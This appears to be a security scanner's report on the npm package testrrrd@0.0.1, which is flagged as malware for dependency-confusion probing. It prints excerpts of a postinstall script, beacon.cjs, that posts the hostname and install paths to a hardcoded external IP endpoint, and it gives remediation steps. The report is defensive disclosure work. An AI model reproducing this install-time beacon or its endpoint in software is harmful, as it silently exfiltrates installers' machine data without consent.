testrrrd@0.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe postinstall hook automatically transmits local host and installation metadata to an unrelated hardcoded endpoint. This is concrete data exfiltration behavior and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall script.
Impact
Discloses host identity and local path information to the endpoint.
Mechanism
beacon.cjs constructs a payload with host and install details and posts it over HTTP.
Attack narrative
Installing the package automatically runs beacon.cjs, which posts the machine hostname, installation path, working directory, and npm version to a hardcoded external HTTP endpoint.
AI rationale
The postinstall hook automatically transmits local host and installation metadata to an unrelated hardcoded endpoint. This is concrete data exfiltration behavior and warrants blocking publication.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends install metadata to a hardcoded external HTTP endpoint.
- The payload includes the machine hostname, install path, working directory, and npm version.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"file
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "testrrrd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to testrrrd@0.0.1.
See all versions of testrrrd for other recorded verdicts.
- Avoid installing testrrrd@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.